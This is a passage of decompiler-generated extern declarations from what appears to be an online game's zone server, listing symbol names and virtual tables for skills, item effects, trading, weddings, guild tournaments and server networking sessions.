asc_5CCAF8[]; // idb extern char asc_5CCB48[]; // idb extern char asc_5CCB80[]; // idb extern char asc_5CCBD8[]; // idb extern char asc_5CCC20[]; // idb extern char asc_5CCC80[]; // idb extern char aMh_innerinfoNu[]; // idb extern char aSp_mh_innerinf[]; // idb extern char asc_5CCD04[]; // idb extern char asc_5CCD38[]; // idb extern char asc_5CCD70[]; // idb extern char aMh_zoneDC[]; // idb extern char aMiniroomskill[]; // idb extern char asc_5CCDDC[]; // idb extern char asc_5CCE18[]; // idb extern char asc_5CCE4C[]; // idb extern char asc_5CCE80[]; // idb extern char aShinequestdiar[]; // idb extern char asc_5CCED4[]; // idb extern char asc_5CCF08[]; // idb extern char asc_5CCF3C[]; // idb extern char asc_5CCF78[]; // idb extern char asc_5CCFA4[]; // idb extern char asc_5CCFD0[]; // idb extern char asc_5CCFFC[]; // idb extern char asc_5CD038[]; // idb extern char asc_5CD07C[]; // idb extern char asc_5CD0B8[]; // idb extern char aShineradianSr_[]; // idb extern int (__stdcall *AxialListScanSkillTarget::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillEnemy::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanSkillFriend::_vftable_)(int, int, int distancesquar); // weak extern char aShinemobSmo_te[]; // idb extern int (__stdcall *AxialListMagicFieldAggro::_vftable_)(int, int, int distancesquar); // weak extern char aSmo_skillblast[15]; // weak extern char asc_5CD17C[]; // idb extern char asc_5CD1B8[]; // idb extern char asc_5CD1F4[]; // idb extern char asc_5CD228[]; // idb extern char asc_5CD258[]; // idb extern char asc_5CD2B0[]; // idb extern char aAxiallistnea_2[]; // idb extern char aAxiallistnea_3[]; // idb extern char asc_5CD358[]; // idb extern char asc_5CD3A0[]; // idb extern char asc_5CD3DC[]; // idb extern char asc_5CD410[]; // idb extern char aAxiallistmag_0[]; // idb extern char aAxiallistmag_3[]; // idb extern char asc_5CD524[]; // idb extern char asc_5CD558[]; // idb extern char asc_5CD590[]; // idb extern char asc_5CD5E0[]; // idb extern char asc_5CD628[]; // idb extern char asc_5CD674[]; // idb extern char aSkilleraseNu_1[]; // idb extern char aSkilleraseNull[]; // idb extern char asc_5CD6D8[]; // idb extern char asc_5CD718[]; // idb extern char aCharaterskil_0[]; // idb extern char asc_5CD760[]; // idb extern char aMobexplosionel[]; // idb extern char aMobexplosion_1[]; // idb extern char aMobexplosion_5[]; // idb extern char aMobexplosion_4[]; // idb extern char asc_5CD86C[]; // idb extern char asc_5CD8A8[]; // idb extern char asc_5CD8DC[]; // idb extern char aShineobject_90[]; // idb extern char asc_5CD950[]; // idb extern char asc_5CD994[]; // idb extern char asc_5CD9D0[]; // idb extern char asc_5CDA10[]; // idb extern char asc_5CDA64[]; // idb extern char asc_5CDAA0[]; // idb extern char asc_5CDAE0[]; // idb extern char asc_5CDB0C[]; // idb extern char asc_5CDB4C[]; // idb extern char aServermenuf_11[]; // idb extern char asc_5CDCF0[]; // idb extern char aSkilleffecta_4[]; // idb extern char aAxiallistscans[]; // idb extern char asc_5CDDBC[]; // idb extern char aSmo_skillbash_[20]; // weak extern char asc_5CDE10[]; // idb extern char asc_5CDE50[]; // idb extern char asc_5CDEA0[]; // idb extern char asc_5CDEE8[]; // idb extern char aSkilleffecta_0[]; // idb extern char aSkilleffecta_6[]; // idb extern char aSkilleffect_11[]; // idb extern char aSkilleffecta_5[]; // idb extern char aSkilleffecta_8[]; // idb extern char aSkilldatabo_11[]; // idb extern char aSkilldatabox_6[]; // idb extern char aSkilldatabox_3[]; // idb extern char aSkilldataboxSk[]; // idb extern char aSkilldatabox_4[]; // idb extern char aSkilldatabox_5[]; // idb extern char aPassivedatab_5[]; // idb extern char aPassivedatab_4[]; // idb extern char aSummonmate01[]; // idb extern char aProducecompoun[]; // idb extern char aProduceresolve[]; // idb extern char aProduceston[]; // idb extern char aProducescroll[]; // idb extern char string[]; // idb extern char aSkilldatabox_2[]; // idb extern char aNullSkll[]; // idb extern char aSkillidUnsync[]; // idb extern char aSkilldatabox_0[]; // idb extern char aErrorIn[]; // idb extern char aSkilldatabox_1[]; // idb extern char aSkilldatabox_8[]; // idb extern char aSkilldatabo_10[]; // idb extern char aSkilldatabox_9[]; // idb extern char aSkilldataboxSd[]; // idb extern char a__9dataShin_21[]; // idb extern char a__9dataShineAc[]; // idb extern char aSkilldataboxGe[]; // idb extern char aPoweroflove01[]; // idb extern char aPassivedatab_0[]; // idb extern char aPassivedatab_2[]; // idb extern char aPassivedatab_3[]; // idb extern char a__9dataShinePa[]; // idb extern int (*NPCAction::IAction::_vftable_[6])(); // weak extern int (*SlantedCoordList::ObjectXCoordNode::_vftable_[4])(); // weak extern int (*SlantedCoordList::ObjectYCoordNode::_vftable_[2])(); // weak extern char aSlantedcoord_5[]; // idb extern char aCoordednodeC_0[]; // idb extern char aCoordednodeC_3[]; // idb extern char aSlantedcoord_3[]; // idb extern char aCoordednodeC_5[]; // idb extern char aCoordednodeCn_[]; // idb extern char aSlantedcoor_20[]; // idb extern char aSlantedcoord_9[]; // idb extern char aSlantedcoord_7[]; // idb extern char aCoordednodeC_2[]; // idb extern char aSlantedcoor_11[]; // idb extern char aSlantedcoord_6[]; // idb extern char aSlantedcoord_0[]; // idb extern char aSlantedcoord_8[]; // idb extern char aCoordednodeC_4[]; // idb extern char aSlantedcoor_18[]; // idb extern char aSlantedcoord_2[]; // idb extern char aSlantedcoor_15[]; // idb extern char aSlantedcoor_12[46]; // weak extern char aCn_rearrange2[]; // idb extern char aSlantedcoor_13[]; // idb extern char aCn_rearrange[]; // idb extern char aSlantedcoor_17[]; // idb extern char aSlantedcoordli[]; // idb extern char asc_5CEA10[]; // idb extern char asc_5CEA54[]; // idb extern char asc_5CEA84[]; // idb extern char asc_5CEAB8[]; // idb extern char asc_5CEAEC[]; // idb extern char asc_5CEB20[]; // idb extern char asc_5CEB50[]; // idb extern char asc_5CEB80[]; // idb extern char asc_5CEBB8[]; // idb extern char asc_5CEBE8[]; // idb extern char asc_5CEC18[]; // idb extern char asc_5CEC54[]; // idb extern char asc_5CEC90[]; // idb extern char a__9dataShin_23[]; // idb extern char a__9dataShineSp[]; // idb extern char aShineobject_66[]; // idb extern char asc_5CED50[]; // idb extern char asc_5CED88[]; // idb extern char asc_5CEDC0[]; // idb extern char aFlyNullMap[]; // idb extern char aFlyNull[]; // idb extern char aFlyNullReturn[]; // idb extern char asc_5CEE28[]; // idb extern int (*SpyNet::IntelligenceOffice::_vftable_[3])(); // weak extern int (__stdcall *SpyNet::IntelligenceOffice4Mob::_vftable_)(int, int report); // weak extern char aSpynetIntell_1[]; // idb extern char aSpynetIntellig[]; // idb extern char asc_5CEFDC[]; // idb extern char asc_5CF018[]; // idb extern char aShineplayer_28[]; // idb extern char aShineplayer_32[]; // idb extern char asc_5CF0E0[]; // idb extern char aShineplayer_23[]; // idb extern char asc_5CF180[]; // idb extern char asc_5CF1E4[]; // idb extern char asc_5CF220[]; // idb extern char asc_5CF258[]; // idb extern char asc_5CF2A0[]; // idb extern char asc_5CF2E8[]; // idb extern char asc_5CF340[]; // idb extern char asc_5CF374[]; // idb extern char asc_5CF3A8[]; // idb extern char asc_5CF3F8[]; // idb extern char asc_5CF440[]; // idb extern char aShineplayerS_8[]; // idb extern char aShineplayer_15[]; // idb extern char aShineplayer_17[]; // idb extern char asc_5CF588[]; // idb extern char asc_5CF5C4[]; // idb extern char aGamedbsessionG[]; // idb extern char asc_5CF630[]; // idb extern char asc_5CF678[]; // idb extern char asc_5CF6B8[]; // idb extern char asc_5CF6F8[]; // idb extern char asc_5CF73C[]; // idb extern int (*StreetBooth::_vftable_)(); // weak extern char aStreetbooths_7[51]; // weak extern char aStreetbooths_2[]; // idb extern char aStreetbooth_14[]; // idb extern char aStreetboothb_4[]; // idb extern char aStreetbooths_5[]; // idb extern char aStreetbooths_8[]; // idb extern char aStreetbooth_10[]; // idb extern char aStreetboothb_7[]; // idb extern char aStreetboothb_3[]; // idb extern char asc_5CF8E4[]; // idb extern char asc_5CF910[]; // idb extern char asc_5CF948[]; // idb extern char asc_5CF980[]; // idb extern char aStreetbooth_11[]; // idb extern char aStreetboothb_5[]; // idb extern char aStreetbooth_13[]; // idb extern char asc_5CFA30[]; // idb extern char aStringmakerMak[]; // idb extern char aStringmakerM_4[]; // idb extern char aStringmakerM_5[]; // idb extern char aStringmakerM_3[]; // idb extern char aStringmakerM_1[]; // idb extern char aStringmakerM_2[]; // idb extern char asc_5CFB84[]; // idb extern char aHp_2[]; // idb extern char aNull_0[]; // idb extern char aLocation[]; // idb extern char aMode[]; // idb extern char aLevel_2[]; // idb extern char aName[]; // idb extern char asc_5CFBF0[]; // idb extern char aRidingBriefCam[]; // idb extern char asc_5CFC44[]; // idb extern char aMinihouseBri_1[]; // idb extern char aMinihouseBrief[]; // idb extern char aNullData[]; // idb extern char aNullHandle[]; // idb extern char aMinihouseSkinh[]; // idb extern char aMinihouseInven[]; // idb extern char asc_5CFCC8[]; // idb extern char asc_5CFCFC[]; // idb extern char scriptindex[]; // idb extern char asc_5CFD3C[]; // idb extern char asc_5CFD80[]; // idb extern char asc_5CFDC8[]; // idb extern char asc_5CFE10[]; // idb extern char aStreetbooths_3[]; // idb extern int (*StreetBoothBuy::_vftable_)(); // weak extern char aSell[5]; // weak extern char aBuy[4]; // weak extern char aStreetboothb_6[]; // idb extern char aStreetboothSb_[]; // idb extern char aStreetboothb_0[]; // idb extern int (*StreetBoothSell::_vftable_)(); // weak extern char asc_5D005C[]; // idb extern char asc_5D0094[]; // idb extern char asc_5D00CC[]; // idb extern char aStreetboothS_3[]; // idb extern char aStreetboothS_0[]; // idb extern char aStreetboothS_2[]; // idb extern char aStreetboothSbs[]; // idb extern char aStreetbooths_9[]; // idb extern int (__stdcall *TargetAnalyser::_vftable_[6])(int target); // weak extern int (__stdcall *TargetAnalyser_Player::_vftable_[3])(int target); // weak extern char asc_5D01D8[]; // idb extern char asc_5D0220[]; // idb extern char asc_5D0270[]; // idb extern char asc_5D02A0[]; // idb extern char aShineplayer_13[]; // idb extern char asc_5D030C[]; // idb extern char asc_5D0344[]; // idb extern char asc_5D0384[]; // idb extern char aShineplayer_43[]; // idb extern char asc_5D0400[]; // idb extern char asc_5D043C[]; // idb extern char asc_5D0474[]; // idb extern char asc_5D04B0[]; // idb extern char aShineobject_67[]; // idb extern char asc_5D0514[]; // idb extern char aTradeboardTb_c[]; // idb extern char asc_5D0560[]; // idb extern char asc_5D05B0[]; // idb extern char asc_5D0608[]; // idb extern char asc_5D0650[]; // idb extern char asc_5D0698[]; // idb extern char asc_5D06D8[]; // idb extern char asc_5D0730[]; // idb extern char aTradeboardTb_f[]; // idb extern char aTradeboardTb_g[]; // idb extern char aTradeboardTb_n[]; // idb extern char asc_5D07AC[]; // idb extern char asc_5D07DC[]; // idb extern char asc_5D0810[]; // idb extern char aTradeboardTb_h[]; // idb extern char aTradeboardTb_4[]; // idb extern char aTradeboardTb_2[]; // idb extern char asc_5D08A8[]; // idb extern char asc_5D08F0[]; // idb extern char asc_5D0938[84]; // weak extern char asc_5D098C[]; // idb extern char aTradeboardTb_3[]; // idb extern char aTradeboardTb_o[]; // idb extern char aShineplayerS_5[]; // idb extern char aShineplayer_36[]; // idb extern char aShineplayer_37[]; // idb extern char asc_5D0AA4[]; // idb extern char aTradeboardTb_1[]; // idb extern char asc_5D0AF8[]; // idb extern char asc_5D0B48[]; // idb extern char asc_5D0B98[]; // idb extern char asc_5D0BE0[]; // idb extern char asc_5D0C20[]; // idb extern char asc_5D0C64[]; // idb extern char aTreasureches_1[]; // idb extern char aTreasurechestm[]; // idb extern char aTreasureches_8[]; // idb extern char aTreasureches_0[]; // idb extern char aTreasureches_5[]; // idb extern char aTreasureches_9[]; // idb extern char aTreasureches_6[]; // idb extern char aTreasureches_4[]; // idb extern char aTreasureches_3[]; // idb extern char aTreasureches_2[]; // idb extern char a__9dataShineUp[]; // idb extern char aUpgradedatab_1[]; // idb extern char aUseeffectUs_28[]; // idb extern char aUseeffectUse_8[]; // idb extern char aUseeffectUsedi[]; // idb extern int (__stdcall *UseEffect::UseItemBase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSilverWing::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemNormal::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRecallScroll::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillScroll::_vftable_)(#440 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemChest::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemByTable::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemChargedBuff::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouse::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemActionItem::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMiniHouseFurniture::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRide::_vftable_)(#331 *, int itm); // weak extern int (__stdcall *UseEffect::UseItemHorseFood::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemItemPackage::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemLicenseClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemStatClear::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountHP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemAmountSP::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemRoar::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillErase::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemWingStone::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMemoryFeather::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemBossMobDetect::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemSkillDummy2Real::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemPropose::_vftable_)(#331 *, int itm); // weak extern char aUseitempropose[]; // idb extern int (__stdcall *UseEffect::UseItemImmediateDivorce::_vftable_)(int, int itm); // weak extern char aInstantdivorce[]; // idb extern int (__stdcall *UseEffect::UseItemGuildReName::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemGuildReType::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemFurnitureEndureKit::_vftable_)(int, int itm); // weak extern int (__stdcall *UseEffect::UseItemMysteryBolt::_vftable_)(int, int itm); // weak extern char aUseeffectUs_26[]; // idb extern char aUseeffectUs_17[]; // idb extern char aUseeffectUs_20[]; // idb extern char a__9dataShin_26[]; // idb extern char aUseeffectUs_44[]; // idb extern char aUsestagerecall[]; // idb extern char aUseditemeffe_2[]; // idb extern char aUseeffectUs_25[]; // idb extern char aUseditemeffe_1[]; // idb extern char asc_5D1334[]; // idb extern char asc_5D1368[]; // idb extern char asc_5D139C[]; // idb extern char asc_5D13D0[]; // idb extern char asc_5D1400[]; // idb extern char asc_5D1430[]; // idb extern char asc_5D1478[]; // idb extern char asc_5D14C0[]; // idb extern char asc_5D1508[]; // idb extern char asc_5D1550[]; // idb extern char asc_5D15A0[]; // idb extern char asc_5D15D8[]; // idb extern char asc_5D161C[]; // idb extern char aShineplayer_34[]; // idb extern char asc_5D1680[]; // idb extern char asc_5D16B0[]; // idb extern char asc_5D16E8[]; // idb extern char asc_5D172C[]; // idb extern char asc_5D175C[]; // idb extern char aShineplayerS_9[]; // idb extern char asc_5D17C4[]; // idb extern char asc_5D1800[]; // idb extern char asc_5D1830[]; // idb extern int (__stdcall *UseEffect::UseItemNoEffect::_vftable_)(int, int itm); // weak extern char aUseeffectUs_40[]; // idb extern char aUseeffectUs_24[]; // idb extern char asc_5D18D0[]; // idb extern char asc_5D1920[75]; // weak extern char aShineplayerS_3[]; // idb extern char aShineplayer_33[]; // idb extern char aUseeffectUs_41[]; // idb extern char aUseeffectUs_46[]; // idb extern char aUseeffectUs_21[]; // idb extern char aUseeffectUs_33[]; // idb extern char aShineplayer_24[]; // idb extern char asc_5D1AF8[]; // idb extern char asc_5D1B28[]; // idb extern char aPresentboxinve[]; // idb extern char aShineplayer_31[]; // idb extern char aShineplayer_38[]; // idb extern char asc_5D1BD8[]; // idb extern char aUseeffectUs_14[]; // idb extern char aUseeffectUs_35[]; // idb extern char aUseeffectUs_45[]; // idb extern char aUseeffectUs_10[]; // idb extern char aUseeffectUs_34[]; // idb extern char aUseeffectUs_32[]; // idb extern char aUseeffectUs_11[]; // idb extern char aUseeffectUs_47[]; // idb extern char aUseeffectUs_18[]; // idb extern char aUseeffectUs_30[]; // idb extern char aUseeffectUs_48[]; // idb extern char aUseeffectUs_42[]; // idb extern char aUseeffectUs_12[]; // idb extern char aUseeffectUs_27[]; // idb extern char aUseeffectUs_38[]; // idb extern char aUseeffectUse_0[]; // idb extern char aUseeffectUs_15[]; // idb extern char aUseeffectUse_2[]; // idb extern char aUseeffectUs_16[]; // idb extern char aUseeffectUse_9[]; // idb extern char aUseeffectUs_23[]; // idb extern char aItemsmallbag_3[]; // idb extern char asc_5D217C[]; // idb extern char aServermenufu_0[]; // idb extern char aServermenufu_8[]; // idb extern char asc_5D2204[]; // idb extern char aUseeffectUse_5[]; // idb extern char aServermenufu_5[]; // idb extern char aSilverwinglocs[]; // idb extern char aCancel[]; // idb extern char aSilverwingport[]; // idb extern char aSilverwingtitl[]; // idb extern char asc_5D22D0[]; // idb extern char aUseeffectUse_7[]; // idb extern char aShineplayer_18[]; // idb extern char asc_5D236C[]; // idb extern char asc_5D23A0[]; // idb extern char asc_5D23DC[]; // idb extern char asc_5D2408[]; // idb extern char asc_5D2434[]; // idb extern char asc_5D2460[]; // idb extern char asc_5D248C[]; // idb extern char asc_5D24BC[]; // idb extern char aShineplayer_29[]; // idb extern char asc_5D2524[]; // idb extern char aShineplayerSp_[]; // idb extern char aGamedbsessionS[]; // idb extern char aShineobject_68[]; // idb extern char aShineplayer_41[]; // idb extern char aShineplayer_40[]; // idb extern char asc_5D266C[]; // idb extern char aShineplayer_20[]; // idb extern char asc_5D26D0[]; // idb extern char aIteminventor_2[]; // idb extern char aIteminventoryc[]; // idb extern char aProposeresultP[]; // idb extern char aReservresultPa[]; // idb extern char aCheckerWhenpro[]; // idb extern char aCheckerApplica[]; // idb extern char aCheckerDelayli[]; // idb extern char asc_5D2820[]; // idb extern char asc_5D286C[]; // idb extern char asc_5D28A4[]; // idb extern char asc_5D28E0[]; // idb extern char asc_5D2938[]; // idb extern char asc_5D2978[]; // idb extern char asc_5D29D0[]; // idb extern char asc_5D2A10[]; // idb extern char asc_5D2A70[]; // idb extern char asc_5D2AC0[]; // idb extern char asc_5D2B18[]; // idb extern char aWeddinghallWh_[]; // idb extern char asc_5D2EE8[]; // idb extern char aCheckerDivorce[]; // idb extern char asc_5D32B8[]; // idb extern char asc_5D32FC[]; // idb extern char asc_5D3330[]; // idb extern char asc_5D3388[]; // idb extern char aWeddinghallW_1[]; // idb extern char aWeddingWedding[]; // idb extern char aWeddinghallW_0[]; // idb extern char aEldpri[]; // idb extern char aWeddinghallW_4[]; // idb extern char aWeddinghallW_5[]; // idb extern int (__stdcall *WorldManagerSession::_vftable_)(int interval); // weak extern char aWorldmanage_90[]; // idb extern char asc_5D3508[]; // idb extern char asc_5D3548[]; // idb extern char aWorldmanage_92[]; // idb extern char aWorldmanage_91[]; // idb extern char aWorldmanage_93[]; // idb extern char aWorldmanage_96[]; // idb extern char aWorldmanage_95[]; // idb extern char aWorldmanage_94[]; // idb extern char asc_5D3728[]; // idb extern char aWorldmanage_98[]; // idb extern char aWorldmanage_97[]; // idb extern char aCharFromWorld[]; // idb extern char asc_5D37FC[]; // idb extern char asc_5D3820[]; // idb extern char asc_5D3868[]; // idb extern char asc_5D38B0[]; // idb extern char asc_5D38F8[]; // idb extern char asc_5D392C[]; // idb extern char asc_5D395C[]; // idb extern char asc_5D398C[]; // idb extern char asc_5D39C4[]; // idb extern char asc_5D39F8[]; // idb extern char asc_5D3A28[]; // idb extern char asc_5D3A58[]; // idb extern char asc_5D3A8C[]; // idb extern char asc_5D3AC4[]; // idb extern char asc_5D3B00[]; // idb extern char asc_5D3B44[]; // idb extern char aWorldmanage_66[]; // idb extern char aWorldmanage_65[]; // idb extern char asc_5D3BEC[]; // idb extern char asc_5D3C24[]; // idb extern char aWorldmanager_1[]; // idb extern char asc_5D3C80[]; // idb extern char asc_5D3CC0[]; // idb extern char asc_5D3D0C[]; // idb extern char asc_5D3D40[]; // idb extern char asc_5D3D78[]; // idb extern char aWms_nc_char_ge[]; // idb extern char asc_5D3DF0[]; // idb extern char asc_5D3E28[]; // idb extern char asc_5D3E60[]; // idb extern char asc_5D3E90[]; // idb extern int (__stdcall *CIOCP_Process_Interfece::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__stdcall *ZoneBaseSession::_vftable_)(int interval); // weak extern char aErrorSocket__1[]; // idb extern char aErrorSocket_re[44]; // weak extern int (__stdcall *IOCPProcessSession::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern char aSS_0[]; // idb extern int (__stdcall *ZoneConnectSession::_vftable_)(int interval); // weak extern int (*ZoneRingPacketBase::_vftable_[2])(); // weak extern int (__stdcall *ZoneRingPacketFindPlayer::_vftable_[14])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketFindPlayerByNormalUser::_vftable_[11])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPlayer::_vftable_[8])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketKickPlayerOut::_vftable_[5])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketItemBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketExpBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPartner::_vftable_[3])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketRefreshWeddingInfo::_vftable_[3])(int iti, char nEndureGrade); // weak extern int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon::_vftable_[2])(int, int netcmd); // weak extern char aZoneconnects_2[]; // idb extern char aZoneconnectses[]; // idb extern char aZoneringpac_18[]; // idb extern char aZoneringpac_19[]; // idb extern char aSIsAtSDD[]; // idb extern char aZoneringpack_4[]; // idb extern char aZoneringpac_20[]; // idb extern char aSIsBanned[]; // idb extern char aZoneringpac_23[]; // idb extern char aSIsNotInGame[]; // idb extern char aZoneringpac_12[]; // idb extern char aZoneringpack_1[]; // idb extern char aZoneringpack_7[]; // idb extern char aZoneringpac_10[]; // idb extern char aSummons[]; // idb extern char aZoneringpacket[]; // idb extern char aZoneringpac_24[]; // idb extern char aZoneringpac_16[]; // idb extern char aZoneringpac_15[]; // idb extern char aZoneringpack_6[]; // idb extern char aZoneringpack_9[]; // idb extern char aZoneringpac_11[]; // idb extern char aZoneringpac_14[]; // idb extern char aZoneringpac_13[]; // idb extern char aZoneipcontai_2[]; // idb extern char aZoneipcontaine[]; // idb extern char aZoneipcontai_0[]; // idb extern char aMessage_txt[]; // idb extern char aConnectSuccess[]; // idb extern char aTryToConnectSD[]; // idb extern char aTryToConnect_1[]; // idb extern char aZoneserverZ_17[]; // idb extern char aListenFromZone[]; // idb extern char aZoneserverZs_9[]; // idb extern char aZoneserverZs_4[]; // idb extern char aZoneserverZ_11[]; // idb extern char aZoneserverZ_13[]; // idb extern char aShinestackstru[]; // idb extern char aEraseoldloglis[]; // idb extern char aVoidEraseoldlo[]; // idb extern char aChargeditemlog[]; // idb extern char a_tx[4]; // weak extern __int16 word_5D47B4; // weak extern char aSuccess_1[8]; // weak extern char aReconnect[]; // idb extern char aSocketCutTryRe[]; // idb extern char aSleepmanager_1[]; // idb extern char aSleepmanagerSm[]; // idb extern char aZoneserverZs_c[]; // idb extern char aServiceUnknown[26]; // weak extern char aServiceRemoveF[24]; // weak extern char aServiceRemoveO[20]; // weak extern char aServiceUploadF[24]; // weak extern char aServiceUploadO[25]; // weak extern char aServiceStart[16]; // weak extern char asc_5D490C[4]; // weak extern char byte_5D4910; // weak extern char aRemove[]; // idb extern char aUpload[]; // idb extern char aCutByInvalidPa[]; // idb extern char aCutByHeartbeat[]; // idb extern char aCloseDuringSes[]; // idb extern char aZoneserver[]; // idb extern char aZoneserverZ_16[]; // idb extern char aZoneserverZs_1[]; // idb extern char aZoneserverZs_7[]; // idb extern char pFN[]; // idb extern char aZoneserverZs_0[]; // idb extern char aZoneserverZ_19[]; // idb extern char aZoneserverZs_s[]; // idb extern char dataServe::a[]; // idb extern char aZoneserverZs_d[]; // idb extern char aSocket[7]; // weak extern char aSocketCutNotFo[]; // idb extern char aWms[]; // idb extern char aLog[]; // idb extern char flag[]; // idb extern char aInlist[]; // idb extern char aIndex_1[]; // idb extern char asc_5D4B58[]; // idb extern char aObjtype[]; // idb extern char aZoneserverZs_2[]; // idb extern char aZonelis[]; // idb extern char from[]; // idb extern char aZoneserverZs_m[]; // idb extern char aZoneserverZs_8[]; // idb extern char aZoneserverZ_14[]; // idb extern char aZoneserverZ_12[]; // idb extern char aZoneserverZs_3[]; // idb extern int (__cdecl *EventHeartPing::_vftable_)(int __formal); // weak extern int (__stdcall *EventReserveContainer::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *ListIteratorDefault::_vftable_)(int ele, __int16 handle); // weak extern char aEventreserveli[]; // idb extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentLvGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentOccupyTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentSkillTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentMasterBuffTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIServerTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIBreedSubjectTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTWinScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *AccUpGradeTable::_vftable_)(int __formal); // weak extern int (__cdecl *MysteryVaultTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Monster::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Monster_to_Player::_vftable_)(int __formal); // weak extern int (__cdecl *AccUpGradeInfoTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Player::_vftable_)(int __formal); // weak extern char aFailToRead[]; // idb extern char aZoneserverZ_18[]; // idb extern char aFailToReadShnD[]; // idb extern char fileName[]; // idb extern char aZoneserverZs_i[]; // idb extern char a__9dataShineWe[]; // idb extern char aFailToReadDi_1[]; // idb extern char a__9dataShin_54[]; // idb extern char aFailToReadDiec[]; // idb extern char a__9dataShin_58[]; // idb extern char aFailToReadDice[]; // idb extern char a__9dataShineDi[]; // idb extern char aFailToReadMini[]; // idb extern char a__9dataShin_33[]; // idb extern char aFailToPlayerQu[]; // idb extern char aFailToReadQues[]; // idb extern char a__9dataShineQu[]; // idb extern char aFailToReadIt_1[]; // idb extern char a__9dataShine_2[]; // idb extern char aMysteryvaultse[]; // idb extern char aDamagelvgappvp[]; // idb extern char aDamagelvgapevp[]; // idb extern char aDamagelvgappve[]; // idb extern char aAccupgrade_shn[]; // idb extern char aAccupgradeinfo[]; // idb extern char aFailToReadItem[]; // idb extern char a__9dataShin_16[]; // idb extern char aFailToReadClas[]; // idb extern char dataShine::a[]; // idb extern char aFailToReadAnno[]; // idb extern char a__9dataShineAn[]; // idb extern char aFailToReadChar[]; // idb extern char a__9dataShin_74[]; // idb extern char a__9dataShin_32[]; // idb extern char a__9dataShineMi[]; // idb extern char a__9dataShineCh[]; // idb extern char aGtwinscore_shn[]; // idb extern char aGtibreedsubjec[]; // idb extern char aGtiserver_shn[]; // idb extern char aGtigetrategap_[]; // idb extern char aGtigetrate_shn[]; // idb extern char aGuildtourna_14[]; // idb extern char aGuildtourna_13[]; // idb extern char aGuildtournam_6[]; // idb extern char aGuildtourna_21[]; // idb extern char pkChar[]; // idb extern char aDamagebyangl_4[]; // idb extern char aDamagebyangle_[]; // idb extern char 